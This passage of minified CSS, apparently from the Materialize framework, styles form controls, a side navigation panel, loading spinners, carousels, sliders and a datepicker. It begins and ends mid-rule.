rgba(0,0,0,0.42)}[type="checkbox"]:indeterminate+span:not(.lever):before{top:-11px;left:-12px;width:10px;height:22px;border-top:none;border-left:none;border-right:2px solid #26a69a;border-bottom:none;-webkit-transform:rotate(90deg);transform:rotate(90deg);-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform-origin:100% 100%;transform-origin:100% 100%}[type="checkbox"]:indeterminate:disabled+span:not(.lever):before{border-right:2px solid rgba(0,0,0,0.42);background-color:transparent}[type="checkbox"].filled-in+span:not(.lever):after{border-radius:2px}[type="checkbox"].filled-in+span:not(.lever):before,[type="checkbox"].filled-in+span:not(.lever):after{content:'';left:0;position:absolute;-webkit-transition:border .25s, background-color .25s, width .20s .1s, height .20s .1s, top .20s .1s, left .20s .1s;transition:border .25s, background-color .25s, width .20s .1s, height .20s .1s, top .20s .1s, left .20s .1s;z-index:1}[type="checkbox"].filled-in:not(:checked)+span:not(.lever):before{width:0;height:0;border:3px solid transparent;left:6px;top:10px;-webkit-transform:rotateZ(37deg);transform:rotateZ(37deg);-webkit-transform-origin:100% 100%;transform-origin:100% 100%}[type="checkbox"].filled-in:not(:checked)+span:not(.lever):after{height:20px;width:20px;background-color:transparent;border:2px solid #5a5a5a;top:0px;z-index:0}[type="checkbox"].filled-in:checked+span:not(.lever):before{top:0;left:1px;width:8px;height:13px;border-top:2px solid transparent;border-left:2px solid transparent;border-right:2px solid #fff;border-bottom:2px solid #fff;-webkit-transform:rotateZ(37deg);transform:rotateZ(37deg);-webkit-transform-origin:100% 100%;transform-origin:100% 100%}[type="checkbox"].filled-in:checked+span:not(.lever):after{top:0;width:20px;height:20px;border:2px solid #26a69a;background-color:#26a69a;z-index:0}[type="checkbox"].filled-in.tabbed:focus+span:not(.lever):after{border-radius:2px;border-color:#5a5a5a;background-color:rgba(0,0,0,0.1)}[type="checkbox"].filled-in.tabbed:checked:focus+span:not(.lever):after{border-radius:2px;background-color:#26a69a;border-color:#26a69a}[type="checkbox"].filled-in:disabled:not(:checked)+span:not(.lever):before{background-color:transparent;border:2px solid transparent}[type="checkbox"].filled-in:disabled:not(:checked)+span:not(.lever):after{border-color:transparent;background-color:#949494}[type="checkbox"].filled-in:disabled:checked+span:not(.lever):before{background-color:transparent}[type="checkbox"].filled-in:disabled:checked+span:not(.lever):after{background-color:#949494;border-color:#949494}.switch,.switch *{-webkit-tap-highlight-color:transparent;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.switch label{cursor:pointer}.switch label input[type=checkbox]{opacity:0;width:0;height:0}.switch label input[type=checkbox]:checked+.lever{background-color:#84c7c1}.switch label input[type=checkbox]:checked+.lever:before,.switch label input[type=checkbox]:checked+.lever:after{left:18px}.switch label input[type=checkbox]:checked+.lever:after{background-color:#26a69a}.switch label .lever{content:"";display:inline-block;position:relative;width:36px;height:14px;background-color:rgba(0,0,0,0.38);border-radius:15px;margin-right:10px;-webkit-transition:background 0.3s ease;transition:background 0.3s ease;vertical-align:middle;margin:0 16px}.switch label .lever:before,.switch label .lever:after{content:"";position:absolute;display:inline-block;width:20px;height:20px;border-radius:50%;left:0;top:-3px;-webkit-transition:left 0.3s ease, background .3s ease, -webkit-box-shadow 0.1s ease, -webkit-transform .1s ease;transition:left 0.3s ease, background .3s ease, -webkit-box-shadow 0.1s ease, -webkit-transform .1s ease;transition:left 0.3s ease, background .3s ease, box-shadow 0.1s ease, transform .1s ease;transition:left 0.3s ease, background .3s ease, box-shadow 0.1s ease, transform .1s ease, -webkit-box-shadow 0.1s ease, -webkit-transform .1s ease}.switch label .lever:before{background-color:rgba(38,166,154,0.15)}.switch label .lever:after{background-color:#F1F1F1;-webkit-box-shadow:0px 3px 1px -2px rgba(0,0,0,0.2),0px 2px 2px 0px rgba(0,0,0,0.14),0px 1px 5px 0px rgba(0,0,0,0.12);box-shadow:0px 3px 1px -2px rgba(0,0,0,0.2),0px 2px 2px 0px rgba(0,0,0,0.14),0px 1px 5px 0px rgba(0,0,0,0.12)}input[type=checkbox]:checked:not(:disabled) ~ .lever:active::before,input[type=checkbox]:checked:not(:disabled).tabbed:focus ~ .lever::before{-webkit-transform:scale(2.4);transform:scale(2.4);background-color:rgba(38,166,154,0.15)}input[type=checkbox]:not(:disabled) ~ .lever:active:before,input[type=checkbox]:not(:disabled).tabbed:focus ~ .lever::before{-webkit-transform:scale(2.4);transform:scale(2.4);background-color:rgba(0,0,0,0.08)}.switch input[type=checkbox][disabled]+.lever{cursor:default;background-color:rgba(0,0,0,0.12)}.switch label input[type=checkbox][disabled]+.lever:after,.switch label input[type=checkbox][disabled]:checked+.lever:after{background-color:#949494}select{display:none}select.browser-default{display:block}select{background-color:rgba(255,255,255,0.9);width:100%;padding:5px;border:1px solid #f2f2f2;border-radius:2px;height:3rem}.select-label{position:absolute}.select-wrapper{position:relative}.select-wrapper.valid+label,.select-wrapper.invalid+label{width:100%;pointer-events:none}.select-wrapper input.select-dropdown{position:relative;cursor:pointer;background-color:transparent;border:none;border-bottom:1px solid #9e9e9e;outline:none;height:3rem;line-height:3rem;width:100%;font-size:16px;margin:0 0 8px 0;padding:0;display:block;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;z-index:1}.select-wrapper input.select-dropdown:focus{border-bottom:1px solid #26a69a}.select-wrapper .caret{position:absolute;right:0;top:0;bottom:0;margin:auto 0;z-index:0;fill:rgba(0,0,0,0.87)}.select-wrapper+label{position:absolute;top:-26px;font-size:.8rem}select:disabled{color:rgba(0,0,0,0.42)}.select-wrapper.disabled+label{color:rgba(0,0,0,0.42)}.select-wrapper.disabled .caret{fill:rgba(0,0,0,0.42)}.select-wrapper input.select-dropdown:disabled{color:rgba(0,0,0,0.42);cursor:default;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.select-wrapper i{color:rgba(0,0,0,0.3)}.select-dropdown li.disabled,.select-dropdown li.disabled>span,.select-dropdown li.optgroup{color:rgba(0,0,0,0.3);background-color:transparent}body.keyboard-focused .select-dropdown.dropdown-content li:focus{background-color:rgba(0,0,0,0.08)}.select-dropdown.dropdown-content li:hover{background-color:rgba(0,0,0,0.08)}.select-dropdown.dropdown-content li.selected{background-color:rgba(0,0,0,0.03)}.prefix ~ .select-wrapper{margin-left:3rem;width:92%;width:calc(100% - 3rem)}.prefix ~ label{margin-left:3rem}.select-dropdown li img{height:40px;width:40px;margin:5px 15px;float:right}.select-dropdown li.optgroup{border-top:1px solid #eee}.select-dropdown li.optgroup.selected>span{color:rgba(0,0,0,0.7)}.select-dropdown li.optgroup>span{color:rgba(0,0,0,0.4)}.select-dropdown li.optgroup ~ li.optgroup-option{padding-left:1rem}.file-field{position:relative}.file-field .file-path-wrapper{overflow:hidden;padding-left:10px}.file-field input.file-path{width:100%}.file-field .btn,.file-field .btn-large,.file-field .btn-small{float:left;height:3rem;line-height:3rem}.file-field span{cursor:pointer}.file-field input[type=file]{position:absolute;top:0;right:0;left:0;bottom:0;width:100%;margin:0;padding:0;font-size:20px;cursor:pointer;opacity:0;filter:alpha(opacity=0)}.file-field input[type=file]::-webkit-file-upload-button{display:none}.range-field{position:relative}input[type=range],input[type=range]+.thumb{cursor:pointer}input[type=range]{position:relative;background-color:transparent;border:none;outline:none;width:100%;margin:15px 0;padding:0}input[type=range]:focus{outline:none}input[type=range]+.thumb{position:absolute;top:10px;left:0;border:none;height:0;width:0;border-radius:50%;background-color:#26a69a;margin-left:7px;-webkit-transform-origin:50% 50%;transform-origin:50% 50%;-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}input[type=range]+.thumb .value{display:block;width:30px;text-align:center;color:#26a69a;font-size:0;-webkit-transform:rotate(45deg);transform:rotate(45deg)}input[type=range]+.thumb.active{border-radius:50% 50% 50% 0}input[type=range]+.thumb.active .value{color:#fff;margin-left:-1px;margin-top:8px;font-size:10px}input[type=range]{-webkit-appearance:none}input[type=range]::-webkit-slider-runnable-track{height:3px;background:#c2c0c2;border:none}input[type=range]::-webkit-slider-thumb{border:none;height:14px;width:14px;border-radius:50%;background:#26a69a;-webkit-transition:-webkit-box-shadow .3s;transition:-webkit-box-shadow .3s;transition:box-shadow .3s;transition:box-shadow .3s, -webkit-box-shadow .3s;-webkit-appearance:none;background-color:#26a69a;-webkit-transform-origin:50% 50%;transform-origin:50% 50%;margin:-5px 0 0 0}.keyboard-focused input[type=range]:focus:not(.active)::-webkit-slider-thumb{-webkit-box-shadow:0 0 0 10px rgba(38,166,154,0.26);box-shadow:0 0 0 10px rgba(38,166,154,0.26)}input[type=range]{border:1px solid white}input[type=range]::-moz-range-track{height:3px;background:#c2c0c2;border:none}input[type=range]::-moz-focus-inner{border:0}input[type=range]::-moz-range-thumb{border:none;height:14px;width:14px;border-radius:50%;background:#26a69a;-webkit-transition:-webkit-box-shadow .3s;transition:-webkit-box-shadow .3s;transition:box-shadow .3s;transition:box-shadow .3s, -webkit-box-shadow .3s;margin-top:-5px}input[type=range]:-moz-focusring{outline:1px solid #fff;outline-offset:-1px}.keyboard-focused input[type=range]:focus:not(.active)::-moz-range-thumb{box-shadow:0 0 0 10px rgba(38,166,154,0.26)}input[type=range]::-ms-track{height:3px;background:transparent;border-color:transparent;border-width:6px 0;color:transparent}input[type=range]::-ms-fill-lower{background:#777}input[type=range]::-ms-fill-upper{background:#ddd}input[type=range]::-ms-thumb{border:none;height:14px;width:14px;border-radius:50%;background:#26a69a;-webkit-transition:-webkit-box-shadow .3s;transition:-webkit-box-shadow .3s;transition:box-shadow .3s;transition:box-shadow .3s, -webkit-box-shadow .3s}.keyboard-focused input[type=range]:focus:not(.active)::-ms-thumb{box-shadow:0 0 0 10px rgba(38,166,154,0.26)}.table-of-contents.fixed{position:fixed}.table-of-contents li{padding:2px 0}.table-of-contents a{display:inline-block;font-weight:300;color:#757575;padding-left:16px;height:1.5rem;line-height:1.5rem;letter-spacing:.4;display:inline-block}.table-of-contents a:hover{color:#a8a8a8;padding-left:15px;border-left:1px solid #ee6e73}.table-of-contents a.active{font-weight:500;padding-left:14px;border-left:2px solid #ee6e73}.sidenav{position:fixed;width:300px;left:0;top:0;margin:0;-webkit-transform:translateX(-100%);transform:translateX(-100%);height:100%;height:calc(100% + 60px);height:-moz-calc(100%);padding-bottom:60px;background-color:#fff;z-index:999;overflow-y:auto;will-change:transform;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform:translateX(-105%);transform:translateX(-105%)}.sidenav.right-aligned{right:0;-webkit-transform:translateX(105%);transform:translateX(105%);left:auto;-webkit-transform:translateX(100%);transform:translateX(100%)}.sidenav .collapsible{margin:0}.sidenav li{float:none;line-height:48px}.sidenav li.active{background-color:rgba(0,0,0,0.05)}.sidenav li>a{color:rgba(0,0,0,0.87);display:block;font-size:14px;font-weight:500;height:48px;line-height:48px;padding:0 32px}.sidenav li>a:hover{background-color:rgba(0,0,0,0.05)}.sidenav li>a.btn,.sidenav li>a.btn-large,.sidenav li>a.btn-small,.sidenav li>a.btn-large,.sidenav li>a.btn-flat,.sidenav li>a.btn-floating{margin:10px 15px}.sidenav li>a.btn,.sidenav li>a.btn-large,.sidenav li>a.btn-small,.sidenav li>a.btn-large,.sidenav li>a.btn-floating{color:#fff}.sidenav li>a.btn-flat{color:#343434}.sidenav li>a.btn:hover,.sidenav li>a.btn-large:hover,.sidenav li>a.btn-small:hover,.sidenav li>a.btn-large:hover{background-color:#2bbbad}.sidenav li>a.btn-floating:hover{background-color:#26a69a}.sidenav li>a>i,.sidenav li>a>[class^="mdi-"],.sidenav li>a li>a>[class*="mdi-"],.sidenav li>a>i.material-icons{float:left;height:48px;line-height:48px;margin:0 32px 0 0;width:24px;color:rgba(0,0,0,0.54)}.sidenav .divider{margin:8px 0 0 0}.sidenav .subheader{cursor:initial;pointer-events:none;color:rgba(0,0,0,0.54);font-size:14px;font-weight:500;line-height:48px}.sidenav .subheader:hover{background-color:transparent}.sidenav .user-view{position:relative;padding:32px 32px 0;margin-bottom:8px}.sidenav .user-view>a{height:auto;padding:0}.sidenav .user-view>a:hover{background-color:transparent}.sidenav .user-view .background{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0;z-index:-1}.sidenav .user-view .circle,.sidenav .user-view .name,.sidenav .user-view .email{display:block}.sidenav .user-view .circle{height:64px;width:64px}.sidenav .user-view .name,.sidenav .user-view .email{font-size:14px;line-height:24px}.sidenav .user-view .name{margin-top:16px;font-weight:500}.sidenav .user-view .email{padding-bottom:16px;font-weight:400}.drag-target{height:100%;width:10px;position:fixed;top:0;z-index:998}.drag-target.right-aligned{right:0}.sidenav.sidenav-fixed{left:0;-webkit-transform:translateX(0);transform:translateX(0);position:fixed}.sidenav.sidenav-fixed.right-aligned{right:0;left:auto}@media only screen and (max-width: 992px){.sidenav.sidenav-fixed{-webkit-transform:translateX(-105%);transform:translateX(-105%)}.sidenav.sidenav-fixed.right-aligned{-webkit-transform:translateX(105%);transform:translateX(105%)}.sidenav>a{padding:0 16px}.sidenav .user-view{padding:16px 16px 0}}.sidenav .collapsible-body>ul:not(.collapsible)>li.active,.sidenav.sidenav-fixed .collapsible-body>ul:not(.collapsible)>li.active{background-color:#ee6e73}.sidenav .collapsible-body>ul:not(.collapsible)>li.active a,.sidenav.sidenav-fixed .collapsible-body>ul:not(.collapsible)>li.active a{color:#fff}.sidenav .collapsible-body{padding:0}.sidenav-overlay{position:fixed;top:0;left:0;right:0;opacity:0;height:120vh;background-color:rgba(0,0,0,0.5);z-index:997;display:none}.preloader-wrapper{display:inline-block;position:relative;width:50px;height:50px}.preloader-wrapper.small{width:36px;height:36px}.preloader-wrapper.big{width:64px;height:64px}.preloader-wrapper.active{-webkit-animation:container-rotate 1568ms linear infinite;animation:container-rotate 1568ms linear infinite}@-webkit-keyframes container-rotate{to{-webkit-transform:rotate(360deg)}}@keyframes container-rotate{to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.spinner-layer{position:absolute;width:100%;height:100%;opacity:0;border-color:#26a69a}.spinner-blue,.spinner-blue-only{border-color:#4285f4}.spinner-red,.spinner-red-only{border-color:#db4437}.spinner-yellow,.spinner-yellow-only{border-color:#f4b400}.spinner-green,.spinner-green-only{border-color:#0f9d58}.active .spinner-layer.spinner-blue{-webkit-animation:fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both,blue-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both;animation:fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both,blue-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both}.active .spinner-layer.spinner-red{-webkit-animation:fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both,red-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both;animation:fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both,red-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both}.active .spinner-layer.spinner-yellow{-webkit-animation:fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both,yellow-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both;animation:fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both,yellow-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both}.active .spinner-layer.spinner-green{-webkit-animation:fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both,green-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both;animation:fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both,green-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both}.active .spinner-layer,.active .spinner-layer.spinner-blue-only,.active .spinner-layer.spinner-red-only,.active .spinner-layer.spinner-yellow-only,.active .spinner-layer.spinner-green-only{opacity:1;-webkit-animation:fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both;animation:fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both}@-webkit-keyframes fill-unfill-rotate{12.5%{-webkit-transform:rotate(135deg)}25%{-webkit-transform:rotate(270deg)}37.5%{-webkit-transform:rotate(405deg)}50%{-webkit-transform:rotate(540deg)}62.5%{-webkit-transform:rotate(675deg)}75%{-webkit-transform:rotate(810deg)}87.5%{-webkit-transform:rotate(945deg)}to{-webkit-transform:rotate(1080deg)}}@keyframes fill-unfill-rotate{12.5%{-webkit-transform:rotate(135deg);transform:rotate(135deg)}25%{-webkit-transform:rotate(270deg);transform:rotate(270deg)}37.5%{-webkit-transform:rotate(405deg);transform:rotate(405deg)}50%{-webkit-transform:rotate(540deg);transform:rotate(540deg)}62.5%{-webkit-transform:rotate(675deg);transform:rotate(675deg)}75%{-webkit-transform:rotate(810deg);transform:rotate(810deg)}87.5%{-webkit-transform:rotate(945deg);transform:rotate(945deg)}to{-webkit-transform:rotate(1080deg);transform:rotate(1080deg)}}@-webkit-keyframes blue-fade-in-out{from{opacity:1}25%{opacity:1}26%{opacity:0}89%{opacity:0}90%{opacity:1}100%{opacity:1}}@keyframes blue-fade-in-out{from{opacity:1}25%{opacity:1}26%{opacity:0}89%{opacity:0}90%{opacity:1}100%{opacity:1}}@-webkit-keyframes red-fade-in-out{from{opacity:0}15%{opacity:0}25%{opacity:1}50%{opacity:1}51%{opacity:0}}@keyframes red-fade-in-out{from{opacity:0}15%{opacity:0}25%{opacity:1}50%{opacity:1}51%{opacity:0}}@-webkit-keyframes yellow-fade-in-out{from{opacity:0}40%{opacity:0}50%{opacity:1}75%{opacity:1}76%{opacity:0}}@keyframes yellow-fade-in-out{from{opacity:0}40%{opacity:0}50%{opacity:1}75%{opacity:1}76%{opacity:0}}@-webkit-keyframes green-fade-in-out{from{opacity:0}65%{opacity:0}75%{opacity:1}90%{opacity:1}100%{opacity:0}}@keyframes green-fade-in-out{from{opacity:0}65%{opacity:0}75%{opacity:1}90%{opacity:1}100%{opacity:0}}.gap-patch{position:absolute;top:0;left:45%;width:10%;height:100%;overflow:hidden;border-color:inherit}.gap-patch .circle{width:1000%;left:-450%}.circle-clipper{display:inline-block;position:relative;width:50%;height:100%;overflow:hidden;border-color:inherit}.circle-clipper .circle{width:200%;height:100%;border-width:3px;border-style:solid;border-color:inherit;border-bottom-color:transparent !important;border-radius:50%;-webkit-animation:none;animation:none;position:absolute;top:0;right:0;bottom:0}.circle-clipper.left .circle{left:0;border-right-color:transparent !important;-webkit-transform:rotate(129deg);transform:rotate(129deg)}.circle-clipper.right .circle{left:-100%;border-left-color:transparent !important;-webkit-transform:rotate(-129deg);transform:rotate(-129deg)}.active .circle-clipper.left .circle{-webkit-animation:left-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both;animation:left-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both}.active .circle-clipper.right .circle{-webkit-animation:right-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both;animation:right-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both}@-webkit-keyframes left-spin{from{-webkit-transform:rotate(130deg)}50%{-webkit-transform:rotate(-5deg)}to{-webkit-transform:rotate(130deg)}}@keyframes left-spin{from{-webkit-transform:rotate(130deg);transform:rotate(130deg)}50%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(130deg);transform:rotate(130deg)}}@-webkit-keyframes right-spin{from{-webkit-transform:rotate(-130deg)}50%{-webkit-transform:rotate(5deg)}to{-webkit-transform:rotate(-130deg)}}@keyframes right-spin{from{-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}50%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}to{-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}}#spinnerContainer.cooldown{-webkit-animation:container-rotate 1568ms linear infinite,fade-out 400ms cubic-bezier(0.4, 0, 0.2, 1);animation:container-rotate 1568ms linear infinite,fade-out 400ms cubic-bezier(0.4, 0, 0.2, 1)}@-webkit-keyframes fade-out{from{opacity:1}to{opacity:0}}@keyframes fade-out{from{opacity:1}to{opacity:0}}.slider{position:relative;height:400px;width:100%}.slider.fullscreen{height:100%;width:100%;position:absolute;top:0;left:0;right:0;bottom:0}.slider.fullscreen ul.slides{height:100%}.slider.fullscreen ul.indicators{z-index:2;bottom:30px}.slider .slides{background-color:#9e9e9e;margin:0;height:400px}.slider .slides li{opacity:0;position:absolute;top:0;left:0;z-index:1;width:100%;height:inherit;overflow:hidden}.slider .slides li img{height:100%;width:100%;background-size:cover;background-position:center}.slider .slides li .caption{color:#fff;position:absolute;top:15%;left:15%;width:70%;opacity:0}.slider .slides li .caption p{color:#e0e0e0}.slider .slides li.active{z-index:2}.slider .indicators{position:absolute;text-align:center;left:0;right:0;bottom:0;margin:0}.slider .indicators .indicator-item{display:inline-block;position:relative;cursor:pointer;height:16px;width:16px;margin:0 12px;background-color:#e0e0e0;-webkit-transition:background-color .3s;transition:background-color .3s;border-radius:50%}.slider .indicators .indicator-item.active{background-color:#4CAF50}.carousel{overflow:hidden;position:relative;width:100%;height:400px;-webkit-perspective:500px;perspective:500px;-webkit-transform-style:preserve-3d;transform-style:preserve-3d;-webkit-transform-origin:0% 50%;transform-origin:0% 50%}.carousel.carousel-slider{top:0;left:0}.carousel.carousel-slider .carousel-fixed-item{position:absolute;left:0;right:0;bottom:20px;z-index:1}.carousel.carousel-slider .carousel-fixed-item.with-indicators{bottom:68px}.carousel.carousel-slider .carousel-item{width:100%;height:100%;min-height:400px;position:absolute;top:0;left:0}.carousel.carousel-slider .carousel-item h2{font-size:24px;font-weight:500;line-height:32px}.carousel.carousel-slider .carousel-item p{font-size:15px}.carousel .carousel-item{visibility:hidden;width:200px;height:200px;position:absolute;top:0;left:0}.carousel .carousel-item>img{width:100%}.carousel .indicators{position:absolute;text-align:center;left:0;right:0;bottom:0;margin:0}.carousel .indicators .indicator-item{display:inline-block;position:relative;cursor:pointer;height:8px;width:8px;margin:24px 4px;background-color:rgba(255,255,255,0.5);-webkit-transition:background-color .3s;transition:background-color .3s;border-radius:50%}.carousel .indicators .indicator-item.active{background-color:#fff}.carousel.scrolling .carousel-item .materialboxed,.carousel .carousel-item:not(.active) .materialboxed{pointer-events:none}.tap-target-wrapper{width:800px;height:800px;position:fixed;z-index:1000;visibility:hidden;-webkit-transition:visibility 0s .3s;transition:visibility 0s .3s}.tap-target-wrapper.open{visibility:visible;-webkit-transition:visibility 0s;transition:visibility 0s}.tap-target-wrapper.open .tap-target{-webkit-transform:scale(1);transform:scale(1);opacity:.95;-webkit-transition:opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1),-webkit-transform 0.3s cubic-bezier(0.42, 0, 0.58, 1);transition:opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1),-webkit-transform 0.3s cubic-bezier(0.42, 0, 0.58, 1);transition:transform 0.3s cubic-bezier(0.42, 0, 0.58, 1),opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1);transition:transform 0.3s cubic-bezier(0.42, 0, 0.58, 1),opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1),-webkit-transform 0.3s cubic-bezier(0.42, 0, 0.58, 1)}.tap-target-wrapper.open .tap-target-wave::before{-webkit-transform:scale(1);transform:scale(1)}.tap-target-wrapper.open .tap-target-wave::after{visibility:visible;-webkit-animation:pulse-animation 1s cubic-bezier(0.24, 0, 0.38, 1) infinite;animation:pulse-animation 1s cubic-bezier(0.24, 0, 0.38, 1) infinite;-webkit-transition:opacity .3s, visibility 0s 1s, -webkit-transform .3s;transition:opacity .3s, visibility 0s 1s, -webkit-transform .3s;transition:opacity .3s, transform .3s, visibility 0s 1s;transition:opacity .3s, transform .3s, visibility 0s 1s, -webkit-transform .3s}.tap-target{position:absolute;font-size:1rem;border-radius:50%;background-color:#ee6e73;-webkit-box-shadow:0 20px 20px 0 rgba(0,0,0,0.14),0 10px 50px 0 rgba(0,0,0,0.12),0 30px 10px -20px rgba(0,0,0,0.2);box-shadow:0 20px 20px 0 rgba(0,0,0,0.14),0 10px 50px 0 rgba(0,0,0,0.12),0 30px 10px -20px rgba(0,0,0,0.2);width:100%;height:100%;opacity:0;-webkit-transform:scale(0);transform:scale(0);-webkit-transition:opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1),-webkit-transform 0.3s cubic-bezier(0.42, 0, 0.58, 1);transition:opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1),-webkit-transform 0.3s cubic-bezier(0.42, 0, 0.58, 1);transition:transform 0.3s cubic-bezier(0.42, 0, 0.58, 1),opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1);transition:transform 0.3s cubic-bezier(0.42, 0, 0.58, 1),opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1),-webkit-transform 0.3s cubic-bezier(0.42, 0, 0.58, 1)}.tap-target-content{position:relative;display:table-cell}.tap-target-wave{position:absolute;border-radius:50%;z-index:10001}.tap-target-wave::before,.tap-target-wave::after{content:'';display:block;position:absolute;width:100%;height:100%;border-radius:50%;background-color:#ffffff}.tap-target-wave::before{-webkit-transform:scale(0);transform:scale(0);-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s, -webkit-transform .3s}.tap-target-wave::after{visibility:hidden;-webkit-transition:opacity .3s, visibility 0s, -webkit-transform .3s;transition:opacity .3s, visibility 0s, -webkit-transform .3s;transition:opacity .3s, transform .3s, visibility 0s;transition:opacity .3s, transform .3s, visibility 0s, -webkit-transform .3s;z-index:-1}.tap-target-origin{top:50%;left:50%;-webkit-transform:translate(-50%, -50%);transform:translate(-50%, -50%);z-index:10002;position:absolute !important}.tap-target-origin:not(.btn):not(.btn-large):not(.btn-small),.tap-target-origin:not(.btn):not(.btn-large):not(.btn-small):hover{background:none}@media only screen and (max-width: 600px){.tap-target,.tap-target-wrapper{width:600px;height:600px}}.pulse{overflow:visible;position:relative}.pulse::before{content:'';display:block;position:absolute;width:100%;height:100%;top:0;left:0;background-color:inherit;border-radius:inherit;-webkit-transition:opacity .3s, -webkit-transform .3s;transition:opacity .3s, -webkit-transform .3s;transition:opacity .3s, transform .3s;transition:opacity .3s, transform .3s, -webkit-transform .3s;-webkit-animation:pulse-animation 1s cubic-bezier(0.24, 0, 0.38, 1) infinite;animation:pulse-animation 1s cubic-bezier(0.24, 0, 0.38, 1) infinite;z-index:-1}@-webkit-keyframes pulse-animation{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}50%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}100%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}}@keyframes pulse-animation{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}50%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}100%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}}.datepicker-modal{max-width:325px;min-width:300px;max-height:none}.datepicker-container.modal-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;padding:0}.datepicker-controls{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;width:280px;margin:0 auto}.datepicker-controls .selects-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.datepicker-controls .select-wrapper input{border-bottom:none;text-align:center;margin:0}.datepicker-controls .select-wrapper input:focus{border-bottom:none}.datepicker-controls .select-wrapper .caret{display:none}.datepicker-controls .select-year input{width:50px}.datepicker-controls .select-month input{width:70px}.month-prev,.month-next{margin-top:4px;cursor:pointer;background-color:transparent;border:none}.datepicker-date-display{-webkit-box-flex:1;-webkit-flex:1 auto;-ms-flex:1 auto;flex:1 auto;background-color:#26a69a;color:#fff;padding:20px 22px;font-weight:500}.datepicker-date-display .year-text{display:block;font-size:1.5rem;line-height:25px;color:rgba(255,255,255,0.7)}.datepicker-date-display .date-text{display:block;font-size:2.8rem;line-height:47px;font-weight:500}.datepicker-calendar-container{-webkit-box-flex:2.5;-webkit-flex:2.5 auto;-ms-flex:2.5 auto;flex:2.5 auto}.datepicker-table{width:280px;font-size:1rem;margin:0 auto}.datepicker-table thead{border-bottom:none}.datepicker-table th{padding:10px 5px;text-align:center}.datepicker-table tr{border:none}.datepicker-table abbr{text-decoration:none;color:#999}.datepicker-table td{border-radius:50%;padding:0}.datepicker-table td.is-today{color:#26a69a}.datepicker-table td.is-selected{background-color:#26a69a;color:#fff}.datepicker-table td.is-outside-current-month,.datepicker-table td.is-disabled{color:rgba(0,0,0,0.3);pointer-events:none}.datepicker-day-button{background-color:transparent;border:none;line-height:38px;display:block;width:100%;border-radius:50%;padding:0 5px;cursor:pointer;color:inherit}.datepicker-day-button:focus{background-color:rgba(43,161,150,0.25)}.datepicker-footer{width:280px;margin:0 auto;padding-bottom:5px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.datepicker-cancel,.datepicker-clear,.datepicker-today,.datepicker-done{color:#26a69a;padding:0 1rem}.datepicker-clear{color:#F44336}@media only screen and (min-width: 601px){.datepicker-modal{max-width:625px}.datepicker-container.modal-content{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}.datepicker-date-display{-webkit-box-flex:0;-webkit-flex:0 1 270px;-ms-flex:0 1 270px;flex:0 1 